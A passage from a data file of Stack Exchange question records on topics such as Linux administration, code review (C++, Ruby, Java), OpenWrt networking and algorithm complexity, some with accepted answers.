language does reduce the risk that the developers have introduced bugs as the string handling should definitely be safe and pointers are not available. However, bugs with the interpreter may cause a security risk to all interpreted programs, too.The unfortunate reality, however, is that a compromise of your www-data process is still going to be a problem for you; an attacker can potentially dump your database, deface your website etc. Knowing root is secure is great, but if for example your website is your main advertising point for your customers, having it defaced is still a threat to your business. SummaryYes, running unicorn as root is a risk. However, the attack surface is relatively small in terms of the code that will execute as root. Also, there may be options for minimising what you run as root. I have also not covered MAC systems such as SELinux, but these are viable options along with capabilities assuming you're prepared to learn them. The important thing to understand is that risk is a balance - how sensitive/important this service is will determine how much effort you should put into securing it. If you're running a banking website, you might want to think seriously about how you harden your system; if this is a website hosting lolcat pictures (ok, y'know what I mean) you may decide the current setup is just fine." } { "id": "_unix.339832" , "question": "We have machines with both local and LDAP accounts. Every computer has a HDD mounted where the local group users has reading and writing permissions. How can I add all the LDAP users to that group users?" , "title": "How to assign LDAP user to local group users?" , "tags": "linux;ubuntu;ldap" } { "id": "_codereview.116075" , "question": "I use this template to lookup clients registered for data. The data is associated by name(key) and clients are shared pointers (value) to a class which will consume the data.//////////////////////////////////////////////////////////////////////// Registrar Template to help manage Key to Value Registrations//// T1 - Key Object// T2 - Value Object//// For Example: Register clients (T2) for Data (T1) ////////////////////////////////////////////////////////////////////#ifndef _RegistrarT_hpp_#define _RegistrarT_hpp_#include #include #include template >class RegistrarT{public: typedef std::multimap RegistrationMultiMap; typedef std::vector RegistrationVector; typedef std::set KeySet;public: RegistrarT(){} ~RegistrarT(){} // // Register a value; Do not allow duplicate registrations void Register(T1 const & key, T2 const & value) { Unregister(key, value); // Remove if it exists in the multimap registrations_.insert(std::make_pair(key,value)); } // Lookup all Registered for Key then find and remove value void Unregister(T1 const & key, T2 const & value) { bool found=false; typename RegistrationMultiMap::iterator itr = registrations_.lower_bound(key); while (!found && itr != registrations_.upper_bound(key)) { if (itr->second == value) found = true; else ++itr; } if (found) registrations_.erase(itr); } // Remove all values registered for key void UnregisterByKey(T1 const & key) { registrations_.erase(registrations_.lower_bound(key), registrations_.upper_bound(key)); } // Find all values and remove registrations for all keys void UnregisterAll(T2 const & value) { typename RegistrationMultiMap::iterator itr = registrations_.begin(); while (itr != registrations_.end()) { if (itr->second == value) registrations_.erase(itr++); else ++itr; } } // Find all values and remove registrations for all keys // return all keys affected void UnregisterAll(T2 const & value, KeySet& ks) { typename RegistrationMultiMap::iterator itr = registrations_.begin(); while (itr != registrations_.end()) { if (itr->second == value) { ks.insert(itr->first); registrations_.erase(itr++); } else ++itr; } } // Get all values registered for key bool GetRegistrations(T1 const & key, RegistrationVector& rv) { typename RegistrationMultiMap::iterator itr = registrations_.lower_bound(key); while (itr != registrations_.upper_bound(key)) { rv.push_back(itr->second); ++itr; } return (rv.size() > 0); } // Get all keys; std::set will not allow duplicates void GetRegistrationKeys(KeySet& ks) { typename RegistrationMultiMap::iterator itr = registrations_.begin(); while (itr != registrations_.end()) { ks.insert(itr->first); ++itr; } } // Check if key is registered bool RegistrationsExist(T1 const & key) { typename RegistrationMultiMap::iterator itr = registrations_.lower_bound(key); return (itr != registrations_.upper_bound(key)); } // Get count of registrations for key std::size_t RegistrationsCount(T1 const & key) { std::size_t cnt=0; typename RegistrationMultiMap::iterator itr = registrations_.lower_bound(key); while (itr != registrations_.upper_bound(key)) { cnt++; ++itr; } return (cnt); } // Is value registered for key? bool RegistrationsExist(T1 const & key, T2 const & value) { typedef typename RegistrationMultiMap::iterator ResIter; std::pair< ResIter , ResIter> range= registrations_.equal_range(key); ResIter it; for(it=range.first;it!=range.second;++it) { if(it->second==value) return true; } return false; } // Is any value registered bool RegistrationsExist() { return ! registrations_.empty(); } // How many keys are in use std::size_t RegistrationCount() { return registrations_.size(); } // Clean up void Clear() { registrations_.clear(); }private: RegistrationMultiMap registrations_; // Holds all};#endif // _RegistrarT_hpp_Sample usage:#include RegistrarT.hpp#include typedef RegistrarT NewsRegistrations;int main(int argc, char *argv[]){ NewsRegistrations sportingNews_; NewsRegistrations::KeySet keyset; std::string moe(Moe); std::string curly(Curly); std::string larry(Larry); sportingNews_.Register(std::string(Football),moe); sportingNews_.Register(std::string(Wrestling),moe); sportingNews_.Register(std::string(Wrestling),curly); sportingNews_.RegistrationsCount(std::string(Wrestling)); sportingNews_.Register(std::string(Rugby),curly); sportingNews_.Register(std::string(BeachVolleyBall),larry); sportingNews_.UnregisterAll(moe,keyset); sportingNews_.UnregisterByKey(std::string(Wrestling)); sportingNews_.RegistrationsExist(std::string(Bowling));}I use a test framework so for simplicity I did not post my tests. Basically I check Registration counts and if Registrations exist. Looking to learn new stuff and gain reputation points so I can attempt to give back." , "title": "C++ Template for one to many Registration (pre Gang of Four)" , "tags": "c++;design patterns;template" } { "id": "_codereview.26449" , "question": "I am teaching myself Ruby and Ruby-on-rails, as part of this regimen I thought it would be a good idea to do some Ruby quiz exercises and so I started with the solitaire cipher. The basic functionality of decoding a properly formatted message is there but only just so. I've come to the realization that I've written this like Ruby has no object-oriented functionality, and instead it's a big imperative function full of clever expressions that make it hard to read.At this point I would like to pad it out with a fuller feature set and unclever some of the logic, and I wanted to do so via TDD. Is this program hardly unit-testable because of it's imperative design?As someone who wants to be a great ruby programmer, is it imperative that I refactor this code to utilize classes, methods and objects? If not, will unit-testing be of very limited value as a result? Am I overreacting and this is fine for what it was designed?input = String.newinput = ARGV[0].dupdef solitaire(input)def decode(msg) #Creates a hash with keys 1-54 abc = ('A'..'Z').to_a alphaHash = Hash.new alphaHash.default = (1..54).to_a.each {|x| alphaHash[x] = (abc[x - 1])} #assigns 1-26 a letter in alphabetical order abc.each {|x| alphaHash[abc.index(x) + 27] = x} #assigns letters in order to 27-52 #All non-joker card values 1-52 can be resolved to their letter #Creates array in which each letter from msg is added as a number to the array, A = 1, B = 2 etc. msg.delete! ' ' convertedMessage = Array.new msg.each_char {|letter| convertedMessage << alphaHash.key(letter)} #Create deck array, for this example in ascending numerical order; clubs, diamonds, hearts, spades deck = (1..54).to_a #Set indexes of two jokers jkr_a_idx = deck.index 53 jkr_b_idx = deck.index 54 convertedKeys = Array.new #This uses the solitaire cipher to generate the keys the message was encrypted with while convertedKeys.length < convertedMessage.length #Joker A down one card jkr_a_idx = deck.index 53 jkr_a_idx += 1 #check if it returns to front of deck if jkr_a_idx >= 54 jkr_a_idx -= 54 #Reset index to beginning of deck jkr_a_idx += 1 #Joker can never be first card so it skips index 0 end #Remove and insert Joker A at new index deck.delete(53) deck.insert(jkr_a_idx, 53) #Joker B down two cards jkr_b_idx = deck.index 54 jkr_b_idx += 2 #check if Joker B must return to front of deck if jkr_b_idx >= 54 jkr_b_idx -= 54 #Reset index to beginning of deck jkr_b_idx += 1 #Joker can never be first card so it skips index 0. end #Remove and insert Joker B at new index deck.delete(54) deck.insert(jkr_b_idx, 54) #Triple cut around jokers, exchange cards above first joker with cards below second joker. #determine top and bottom jokers topJoker = deck.detect {|e| e == 53 or e == 54} if topJoker == 53 bottomJoker = 54 end if topJoker == 54 bottomJoker = 53 end #Make the cuts topCut = deck.slice!(0...deck.index(topJoker)) if bottomJoker != deck.last #if a joker is the last card, there is no bottom cut bottomCut = deck.slice!((deck.index(bottomJoker) + 1)..-1) #cuts cards after bottom joker to the last one deck.unshift bottomCut #Inserts the bottomCut at the front deck.flatten! end deck << topCut deck.flatten! #deck must be flattened as cuts are inserted as nested arrays #Count cut: take last card's value, cut this many cards from top and insert before last card if deck.last == 53 or deck.last == 54 #Either joker's value is always 53 countCut = deck.slice!(0...53) #If either joker is the last card, we cut 53 cards else countCut = deck.slice!(0...deck.last) end deck.insert(deck.index(deck.last), countCut) #inserts the countCut before the last card deck.flatten! #Take first card's value, count this many cards, convert the facing card to a letter, this is the letter for the keystream if deck.first == 54 #All jokers get value 53 if deck[53] != 53 and deck[53] != 54 #If a joker is the facing card, there is no output to the keystream for this iteration convertedKeys << alphaHash.key((alphaHash[deck[53]])) #Any other facing card is converted to a letter, then back to numeric end else if deck[deck.first] != 53 and deck[deck.first] != 54 #Step is skipped if the facing card is a joker convertedKeys << alphaHash.key((alphaHash[deck[deck.first]])) end end end #while loop decodedMessage = String.new #Decodes the message #Both convertedMessage and convertedKeys are numeric values 1-26 convertedMessage.each { |value| #When decoding, subtract key from the encoded value for the decoded message if convertedKeys[decodedMessage.length] >= value #If this operation is 0 or negative, add 26 to value decodedMessage << alphaHash[((value + 26) - convertedKeys[decodedMessage.length])] else decodedMessage << alphaHash[(value - convertedKeys[decodedMessage.length])] end } decodedMessageend #decodeputs decode(input)endputs solitaire(input)" , "title": "Is my solitaire cipher too imperative for an Object Oriented language like Ruby?" , "tags": "ruby" , "accepted_answer": "Some notes on your code:alphaHash = Hash.new, each, delete, +=, ...: This shows that you think in imperative terms (init, update, remove, insert, destroy, change, ...), in Ruby is more idiomatic a functional style (see this) with immutable data structures.or/and are used for flow control, for logic you should use &&/||.The real problem of your code is that is not declarative. You have a bunch of code put together doing things, but it's difficult to relate each step with the specifications (if you have to insert comments for that, it's a signal something is wrong). The way to solve this is by using abstractions (functions/methods) that capture the specifications. I'll show the skeleton of my solution, I think it's more useful than going into full detail (ask if you want to see the complete code). Note how every step (in decode,encode` and the deck re-arranging) has its own abstraction, the code is a composition of them:class Deck < Array def move(card, offset) end def triple_cut_around(card1, card2) end def count_cut_last end def get_output_letter end def self.value_from_card(card) endendclass SolitaireCipher CharsToDigits = Hash[(A..Z).map.with_index(1).to_a] DigitsToChars = CharsToDigits.invert def self.gen_keystream initial_cards = Deck.new((1..52).to_a + [:joker_a, :joker_b]) ... shuffled_cards = cards. move(:joker_a, +1). move(:joker_b, +2). triple_cut_around(:joker_a, :joker_b). count_cut_last letter = shuffled_cards.get_output_letter [letter, shuffled_cards] ... end def self.chars_to_digits(chars) end def self.digits_to_chars(digits) end def self.encode(string) s0 = string.upcase.gsub(/[^A-Z]/, '') s = s0.ljust((s0.size / 5) * 5, X) digits1 = chars_to_digits(s.chars) digits2 = chars_to_digits(gen_keystream.take(s.length)) digits_encoded = digits1.zip(digits2).map { |d1, d2| (d2 + d1) % 26 } digits_to_chars(digits_encoded).each_slice(5).map(&:join).join( ) end def self.decode(string) endendencoded = SolitaireCipher.encode(Code in Ruby, live longer!)puts encoded #=> GLNCQ MJAFF FVOMB JIYCBdecoded = SolitaireCipher.decode(encoded)puts decoded #=> CODEI NRUBY LIVEL ONGER" } { "id": "_unix.214392" , "question": "I have a strange issue on mikrotik rb951-2hnd router. I built image a few years ago using revision 39392 and patch firmwared it and everything worked fine. Just a few months ago I decided to update firmware. So I did it and discovered that physical network is completely broken. I have over 90% packet loss via ethernet ports, though wifi works perfect . I thought that I messed up while build. So I firmwared 2 different images from download.openwrt and a couple more that I built by myself, but symptoms are always the same. I wanted to try worked for me svn revision but unfortunately this patch is unavailable so I can't firmare image back. The funny thing that everything including physical ports works while netbooting via vmlinux-initramfs (bootp) the same build revision. Since vmlinux works fine I suspect that flash is damaged so I made myself sure that files from rootfs.tar.gz and firmwared ones are the same. On the next step I compared the loaded demons on vmlinux-initramfs and firmwared system, the firmwared one has extra listed below:nf_log_common.konf_log_ipv4.konf_log_ipv6.konf_nat_masquerade_ipv4.konf_reject_ipv4nf_reject_ipv4.konf_reject_ipv6nf_reject_ipv6.konls_base.koPreventing them from loading doesn't help. Furthermore I get no errors from dmesg or logread. Here's my configuration:topiptables -L -n/etc/config/network - 1 wan. 2-5 lan (wifi in sta client mode)scenario for dhcp:After plugging laptop (dhcp client) to lan port for 15 seconds ( plug out after) I see the followings:Laptop send: 3 dhcp request and 9 icmpv6 Laptop receive: 0 packetsrouter sends: None ? (ifconfig displays 4 packets but tcpdump doesn't catch them) router receives: 2 icmp packets fromLaptop sent list (listed below)I also checked tcpdump on router, and it doesn't show lost packets. Seems like the problem is somewhere on the driver level. But wait, vmlinux works and drivers (kernel modules) are the same.root@OpenWrt:/# tcpdump -vv -i eth0.3tcpdump: WARNING: eth0.3: no IPv4 address assignedtcpdump: listening on eth0.3, link-type EN10MB (Ethernet), capture size 65535 bytes[ 1042.060000] Atheros AR8216/AR8236/AR8316 ag71xx-mdio.0:00: Port 2 is up09:35:24.172637 IP6 (hlim 1, next-header Options (0) payload length: 36) :: > ff02::16: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, m]09:35:25.872843 IP6 (hlim 255, next-header ICMPv6 (58) payload length: 16) fe80::b2e3:928a:66b2:ff43 > ff02::2: [icmp6 sum ok] ICMP6, router6 source link-address option (1), length 8 (1): 5c:f9:dd:48:9e:89 0x0000: 5cf9 dd48 9e895c:f9:dd:48:9e:89 /fe80::b2e3:928a:66b2:ff43 - laptop, d4:ca:6d:92:a4:7e / fe80::d6ca:6dff:fe92:a47e: - routerscenario for static ip:openwrt (static 192.168.2.1)root@OpenWrt:/# ping 192.168.2.2PING 192.168.2.2 (192.168.2.2): 56 data bytes64 bytes from 192.168.2.2: seq=4 ttl=64 time=0.505 ms64 bytes from 192.168.2.2: seq=21 ttl=64 time=0.489 ms64 bytes from 192.168.2.2: seq=34 ttl=64 time=0.528 ms64 bytes from 192.168.2.2: seq=39 ttl=64 time=0.512 ms64 bytes from 192.168.2.2: seq=45 ttl=64 time=0.527 ms64 bytes from 192.168.2.2: seq=48 ttl=64 time=0.549 ms64 bytes from 192.168.2.2: seq=51 ttl=64 time=0.813 ms^C--- 192.168.2.2 ping statistics ---56 packets transmitted, 7 packets received, 87% packet lossround-trip min/avg/max = 0.489/0.560/0.813 mslaptop (static 192.168.2.2)14:50:08:andrew:/home/andrew:0: ping 192.168.2.1PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.From 192.168.2.2 icmp_seq=13 Destination Host UnreachableFrom 192.168.2.2 icmp_seq=14 Destination Host UnreachableFrom 192.168.2.2 icmp_seq=15 Destination Host Unreachable^C--- 192.168.2.1 ping statistics ---100 packets transmitted, 0 received, +3 errors, 100% packet loss, time 99022mspipe 314:51:53:andrew:/home/andrew:1: ping 192.168.2.1PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.^C--- 192.168.2.1 ping statistics ---29 packets transmitted, 0 received, 100% packet loss, time 28080msSo here is my question:What steps should I take to dive deeper and find out what the problem is? I want to find at least the error. Should I turn a debug level somewhere? What can cause such a huge packet loss? EDIT Netbooting vmlinux produces the same Netbooting kerneldebug - works perfectly, unfortunately its size is 11mb, mtd1 is to small to hold it." , "title": "Huge packet loss on openwrt" , "tags": "networking;openwrt;tcpdump" , "accepted_answer": "Ok I finally found the reason. Initramfs wasn't the key of success. It turns out that routerboard works if it was booted with pressed reset button. But it seems like flashed driver can't last for long. Router reboots with kernel panic after a few hours of using depending on loading rate." } { "id": "_cs.13181" , "question": "I've developed the following backtrack algorithm, and I'm trying to find out it time complexity.A set of $K$ integers defines a set of modular distances between all pairs of them. In thisalgorithm, I considered the inverse problem of reconstructing all integer sets which realize a given distance multiset. i.e. :Inputs: $D=\\{p_ip_j \\mod N, ij \\},K $Output : $P=\\{p_1,p_2,...,p_K\\},\\qquad p_i \\in \\{0,1,2,...,N-1\\},\\qquad p_i > p_j $ for $i>j$Simply saying, the algorithm puts $K$ blanks to be filled. Initially, puts 1 in the first blank. For the second blank it looks for the first integer that if we add to P, it doesn't produce any difference exceeding the existent differences in $D$. Then, it does so, for next blanks. While filling a blank if it checked all possible integers and found no suitable integer for that blank, it turns back to the previous blank and looks for next suitable integer for it. If all blanks are filled, it has finished his job, otherwise it means that there weren't any possible $P$'s for this $D$.Here's my analysis so far.Since the algorithm checks at most all members of $\\{2,...,N\\}$ for each blank (upper bound) there is $N-1$ search for each blank. If each visited blank was filled in visiting time, the complexity would be $O((K-1)(N-1))$ since we have $K-1$ blank (assuming first one is filled with 1). But the algorithm is more complex since for some blanks it goes backward and some blanks may be visited more that once. I'm looking for the worst case complexity i.e. the case that all blanks are visited and no solution is found." , "title": "Time complexity of a backtrack algorithm" , "tags": "algorithms;algorithm analysis;combinatorics;search algorithms;greedy algorithms" } { "id": "_softwareengineering.133506" , "question": "I'm self-learning iOS development through the iTunes U CS193p course, and I often find myself stuck. I've been trying to get unstuck myself, but it might take me hours and hours to figure out what I'm doing wrong, be it missing a method or not really getting a whole concept like delegation. I'm worried that I might be wasting too much time, and I'd be better off going to Stack Overflow shortly after I get stuck so I can move on. In your experience, does quickly asking on Stack Overflow hamper the learning process or improve it?" , "title": "When stuck, how quickly should one resort to Stack Overflow?" , "tags": "productivity;education" , "accepted_answer": "When I am working with new developers, I encourage them to come ask questions after five or ten minutes where they are not making progress.That has two benefits: the first is that they can get help without too much time spent staring at a problem, but they only ask when they are not getting somewhere. If they are learning - even on something that isn't ultimately the answer - they are much more likely to usefully retain that information.The second is that after about that much time they have to explain the problem to someone else. That solves a huge proportion of problems, because going through it end-to-end in order means you can spot the thing that you missed in your earlier work.Since it sounds like you are doing this alone, try turning to a stuffed toy, or the clock, or the wall, and asking that about the problem. Explain it as you would to a person, and see if that fixes things.If it doesn't, and you are not making progress, ask someone. Spending more than five or ten minutes stuck is a waste of your time - unless you go on to do something else, then come back to the problem with a fresh mind." } { "id": "_unix.268666" , "question": "In the below script the cases aserver and bserver work fine. But in case cserver above, after su - gsxuserp, I need to perform the following three options with the same user.cd ..cd random_directorytail -f file_in_random_directoryI am not able to do this using -c option, since the connection just closes without executing anything. can someone please suggest a basic way to do this?echo Please type one of the following: aserver,bserver,cserver: read inputecho You entered: $inputcase $input in aserver) echo Logging into a. Please enter the passwords when prompted ssh -t user@something.com ssh -t aserver su - gsxp -c sqlplus grep_ro/pwd ;; bserver) echo Logging into b. Please enter the passwords when prompted ssh -t user@something.com ssh -t bserver su - gsxp -c sqlplus grep_ro/pwd ;; cserver) echo Logging into c. Please enter the passwords when prompted ssh -t user@something.com ssh -t cserver su - gsxuserp -c cd ;; *) echo Incorrect Option entered. Exiting the script ;;esac" , "title": "How to use cd command in su command?" , "tags": "shell script;command line;su;cd command" } { "id": "_codereview.16426" , "question": "I have created a simple array-based Stack class with some methods like the actual Stack in Java.I am testing this for mistakes, but since I am learning Java, my tests may not be as comprehensive as they should.import java.util.*;public class SJUStack { // Data Fields private E[] theData; private int topOfStack = -1; private static final int INITIAL_CAPACITY = 10; private int size = 0; private int capacity = 0; // Constructors public SJUStack(int initCapacity) { capacity = initCapacity; theData = (E[]) new Object[capacity]; } public SJUStack() { this(INITIAL_CAPACITY); } // Methods public E push(E e) { if(size == capacity) { reallocate(); } theData[size] = e; size++; topOfStack++; return e; } // End push(E e) method public E peek() { if(empty()) { throw new EmptyStackException(); } return theData[topOfStack]; } // End peek() method public E pop() { E result = peek(); theData[topOfStack] = null; size--; topOfStack--; if(size <= (capacity/4) && capacity >= INITIAL_CAPACITY) { shrink(); } return result; } // End pop() method public boolean empty() { return size == 0; } // End empty() method private void reallocate() { capacity *= 2; theData = Arrays.copyOf(theData, capacity); } // End reallocate() method private void shrink() { capacity /= 2; theData = Arrays.copyOf(theData, capacity); } // End shrink() method public String toString() { return Arrays.toString(theData); } // End toString() method public int size() { return size; } // End size() method}" , "title": "Simple array-based Stack class in Java" , "tags": "java;array;homework;stack" , "accepted_answer": "I don't see any obvious logic mistakes, points for that. On the other hand some redundant and non-standard ways of coding in java.Drop either size or topOfStack members, (topOfStack == size - 1)Drop capacity capacity is same as theData.lengthMethod name: isEmpty (more concise with java standard collections)Use data instead of theData" } { "id": "_unix.244557" , "question": "The following is the text I want to parse with sed (Mac OS X 10.11.1 bash)100:25:43,959 --> 00:25:46,502Here you are, sir.Main level, please.I can delete the first line with sed -e 's/[0-9]//'.But with sed -e 's/^[0-9]//', the first line, i.e. 1 remains there.Since 1 is at the beginning of the first line, shouldn't it be deleted?head -n1 2001.srt | od -c0000000 357 273 277 1 \\n0000005Just created a new text file starting with 1.head -n1 2002.srt | od -c0000000 1 \\n0000002sed -e 's/^[0-9]//' works for this newly created file.Yes, there's something before 1." , "title": "sed -e 's/^[0-9]//' does not work for the first line" , "tags": "text processing;sed;regular expression" , "accepted_answer": "Your file starts with a UTF-8 byte order mark. It is unicode symbol U+FEFF which is encoded as three bytes in UTF-8. Those three bytes show up as 357 273 277 when you print them in base 8.To the sed command those bytes at the start of the line means that 1 is in fact not the first character on that line. Many other tools will treat it the same way.You need to remove the BOM before doing other processing in order to get a useful result. For instance you could start your sed script with s/^\\xef\\xbb\\xbf// to remove the BOM. Your full command would then becomesed -e 's/^\\xef\\xbb\\xbf//;s/^[0-9]//'" } { "id": "_cs.62464" , "question": "Given a binary $n$-times-$n$ matrix $A$, we'd like to cover the regions comprised of $1$'s with non-intersecting rectangles. A collection of disjoint rectangles that covers all $1$'s (and only $1$'s, i.e., it mustn't cover any $0$'s) is called a cover. (Notice that a problem instance may have many different covers.)A cover is called a minimum cover if it uses the smallest number of rectnagles possible.The counting problem I'm interested in is: given an $n$-times-$n$ binary matrix $A$, count the number of minimum covers of $A$.What can you say about this problem? (This post was inspired by this SO question.)" , "title": "Counting the number of minimal covers of a binary matrix" , "tags": "algorithms;complexity theory" } { "id": "_unix.151012" , "question": "I have:One Raspberry Pi with Raspbian (distribution based on Debian), with one enthernet interfaceOne laptop with windows, with one ethernet interfaceOne USB modemEthernet cable between Pi and laptopI want to:Share internet on Raspberry Pi when modem is connected to PiUse internet which is shared on laptop when modem is connected to laptop.What I have done:My modem is working on both machines, its ppp0 interface on Pi. ppp0 has dynamic IP.Sharing internet from laptop to Raspberry works. Laptop IP: 192.168.137.1Question:How can I share internet on Raspberry Pi without ruining too much / reconfiguring network on both machines when I switch modem from one machine to another? Extra question: I know that interfaces on both windows and linux can have multiple IP addresses. Can I have both configurations set and just plug my modem here and there and start connection to have internet on second machine?" , "title": "Two way internet sharing configuration (swiching modem from one machine to another)" , "tags": "networking" } { "id": "_webapps.10375" , "question": "I have an Excel spreadsheet I made to track my own scores for an Xbox game I play (TrialsHD, if you are curious). I've made it available to other players so they can track their own scores, but it occurred to me that more people could use it if I figured out how to make it available to people online. I know I can import from Excel to Google Spreadsheets, but I'm not sure if sharing works in the way I need it to.Specifically, I don't want people to share and edit the master, each person needs their own independent copy of the spreadsheet to enter their race scores and times. In essense, my copy is like a template.Can I do Google Drive sharing like this? How exactly would it work? (Would each person need their own independent Google account?)If not, is there another tool out there that would work for me to make this spreadsheet available for other users? What about the newly announced MS Office online products?" , "title": "How exactly does sharing work in Google Drive?" , "tags": "google spreadsheets;google drive" } { "id": "_unix.216020" , "question": "Can someone please help me here. My cron job is not sending an email with output. While I run the shell script manually it generates an email with output.Here is the script looks like #!/bin/bashMAILLIST=LogDirectory='/app/oracle/admin/monitor/'DBUSER='rman'DBUSERPASSWORD='rman01'DB='pdcatdb'SUBJECT=RMAN Backup Status ReportORACLE_HOME=/app/oracle/product/12.1.0.2_64${ORACLE_HOME}/bin/sqlplus -s < ${LogDirectory}/query.log${DBUSER}/${DBUSERPASSWORD}@${DB}set pagesize 20000set linesize 2000set wrap offset trimspool onset feedback offset echo offset termout offset heading offset underline offset colsep ','SELECT RTRIM(A.DB_NAME)||'---->'|| LTRIM(A.STATUS) BACKUP_STATUS FROM rman.RC_RMAN_STATUS A, ( SELECT DB_NAME, OBJECT_TYPE, MAX (END_TIME) END_TIME FROM rman.RC_RMAN_STATUS --WHERE OBJECT_TYPE IN ('DB FULL', 'DB INCR') WHERE OBJECT_TYPE IN ('DB INCR') AND STATUS IN ('COMPLETED', 'COMPLETED WITH ERRORS', 'FAILED') AND OPERATION IN ('BACKUP', 'BACKUP COPYROLLFORWARD') GROUP BY DB_NAME, OBJECT_TYPE) B WHERE A.OBJECT_TYPE IN ('DB FULL', 'DB INCR', 'ARCHIVELOG') AND STATUS IN ('COMPLETED', 'COMPLETED WITH ERRORS', 'FAILED') AND OPERATION IN ('BACKUP', 'BACKUP COPYROLLFORWARD') AND A.DB_NAME = B.DB_NAME AND A.END_TIME = B.END_TIME AND A.OBJECT_TYPE = B.OBJECT_TYPE AND A.end_time > sysdate-7 order by 1 /EOFmailx -s Rman Backup Report < /app/oracle/admin/monitor/query.log" , "title": "My cron job is not sending an email with any output, I see only a blank email" , "tags": "cron;email" } { "id": "_unix.334428" , "question": "I have PHP 7.1 and apache 2.4 running in a docker vm. I have mod rewrite enabled. I have code that needs $_SERVER['SCRIPT_URL'] and $_SERVER['SCRIPT_URI']. These are not set. I created a minimal example that proves it. Do the following in bash:git clone https://github.com/zippy1981/php7-mod_rewrite.gitcd php7-mod_rewritedocker-compose stop && docker-compose rm -fv && docker-compose build --force-rm --no-cache && docker-compose up -dcurl localhost:8080/fooThat redirect is enabled by the .htaccess line RewriteRule ^foo$ app.php proving mod_rewrite is installed, enabled, and is touching this particular request. That url returns a JSON version of $_SERVER that looks like this:{ _SERVER: { REDIRECT_STATUS: 200, HTTP_HOST: localhost:8080, HTTP_USER_AGENT: curl\\/7.47.0, HTTP_ACCEPT: *\\/*, PATH: \\/usr\\/local\\/sbin:\\/usr\\/local\\/bin:\\/usr\\/sbin:\\/usr\\/bin:\\/sbin:\\/bin, SERVER_SIGNATURE:
Apache\\/2.4.10 (Debian) Server at localhost Port 8080<\\/address>\\n, SERVER_SOFTWARE: Apache\\/2.4.10 (Debian), SERVER_NAME: localhost, SERVER_ADDR: 172.24.0.2, SERVER_PORT: 8080, REMOTE_ADDR: 172.24.0.1, DOCUMENT_ROOT: \\/var\\/www\\/html, REQUEST_SCHEME: http, CONTEXT_PREFIX: , CONTEXT_DOCUMENT_ROOT: \\/var\\/www\\/html, SERVER_ADMIN: webmaster@localhost, SCRIPT_FILENAME: \\/var\\/www\\/html\\/app.php, REMOTE_PORT: 49122, REDIRECT_URL: \\/foo, GATEWAY_INTERFACE: CGI\\/1.1, SERVER_PROTOCOL: HTTP\\/1.1, REQUEST_METHOD: GET, QUERY_STRING: , REQUEST_URI: \\/foo, SCRIPT_NAME: \\/app.php, PHP_SELF: \\/app.php, REQUEST_TIME_FLOAT: 1483412792.892, REQUEST_TIME: 1483412792, argv: [], argc: 0 }}This does not have the SCRIPT_URI or SCRIPT_URL environment variables in it. How do I get them to show up?" , "title": "$_SERVER['SCRIPT_URL'] and $_SERVER['SCRIPT_URI'] not appearing when mod_rewrite enabled" , "tags": "apache httpd;docker;mod rewrite;php7" } { "id": "_unix.20510" , "question": "I recently formatted an entire drive so I could install Linux on it. The partitions:15 GB, Primary, sda1, mount point: /232.9 GB Logical, sda5, mount point: /home3 GB Logical, sda6, swapHowever, upon install completion (with the GRUB bootloader) and reboot, the BIOS reports that it cannot find a bootable device.I am thinking that I did not set sda1's bootable flag. If this is the case - is there some way I can do this from the Debian CD's rescue mode?The exact error message from the BIOS is No bootable device -- insert boot disk and press any key.Attempted:Removed all other boot options (CD, USB) from the boot listSwapped cabledTried other SATA portsSwapped hard drives (with new SSD)" , "title": "Newly installed Debian install is not recognized" , "tags": "debian;boot" } { "id": "_unix.270907" , "question": "I usually play SWTOR on Windows (10), but being able to play on linux would be so much better for too many reasons to list (and beyond the scope of this question). So I've set it up via playonlinux (using wine version 1.8-staging as recommended by a friend).Some of my keybinds have changed, however. On windows, I have one keybind as backslash ('\\') which I use incessantly, and several more as AltGr+, for example AltGr+K, L, Y and so on. These work fine on Windows.However, when I load SWTOR on linux - having installed the EXACT same keybind/interface files (and I know it found them because my chatbox and interface are exactly as they should be, which they weren't before I transferred those configs) - the slot which should be bound to \\ is now bound to #. Attempting to bind it back, I found that it won't even register \\ in the binding dialog box. However, I can easily type backslashes into chat messages, and I can confirm from xkey that the keypress is sent to SWTOR.A similar story with AltGr: using AltGr+F actually invokes the keybind associated with F, and attempting to bind it back just binds it to F instead. I can't check by typing it in chat, but I verified with xkey that the keypress is sent to the window by X. The bindings are still listed with Ctrl+Alt+F, and indeed I can invoke it like that (it's just how it comes up on windows).The weirdest thing about this is that it automatically rebound the \\ binding to #, with no editing of configs and no manual rebinding (and that I can still type \\ into chat, so it's clearly receiving the keypresses). And yet it works fine on Windows.Can anyone shed any light on where these problems are occurring and what might help fix them?I'm running playonlinux 4.2.10 installed from the official website, using the SWTOR script listed when you search for it and the installer from the official swtor.com website. My system is$ lsb_release -aNo LSB modules are available.Distributor ID: DebianDescription: Debian GNU/Linux 8.3 (jessie)Release: 8.3Codename: jessie$ uname -srviopmLinux 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) x86_64 unknown unknown GNU/LinuxI have a nvidia 940M graphics card (Optimus) which is used by SWTOR via bumblebee (installed from backports, as is the driver)." , "title": "wine - Can I get SWTOR to use backslash and AltGr in keybinds?" , "tags": "keyboard shortcuts;wine;playonlinux" } { "id": "_unix.119132" , "question": "My motherboard is a Gigabyte 990XA-UD3 (CPU 1), it's a UEFI -Dual boot, and when I try installing Linux Mint 16 Cinnamon or Ubuntu 13.10 it always bring this error(initramfs) Unable to find a medium containing a live file system.I put all my BIOS config in legacy options, disabled UEFI, but still the same error. Right now I am running Windows 8.1 64bI use Universal USB installer and made a live USB " , "title": "How can I install Linux on a UEFI system with Secure boot?" , "tags": "linux;security;boot;uefi;initramfs" } { "id": "_webapps.82892" , "question": "I want to check if an email has been sent from my email account and then deleted from the sent folder.I had a draft with some personal information on it and it disappeared. I wasn't sure if I had deleted it (I couldn't find it in the Delete folder, or any other folder) or if someone secretly sent it.I'm using Hotmail by the way." , "title": "Can I check if an email has been secretly sent from my account?" , "tags": "outlook.com" } { "id": "_codereview.800" , "question": "Is there a way to do this using parameters so the value is automatically converted to whatever datatype the keyfield has in the datatable?This code should be reusable for future bulk update applications hence the constant and the check on multiple datatypes.private const string DBKEYFIELDNAME = CustomerNr;... for (int i = 1; i <= csvLines.Length - 1; i++) // i=1 => skip header line{ string[] csvFieldsArray = csvLines[i].Split(';'); int indexKeyField = 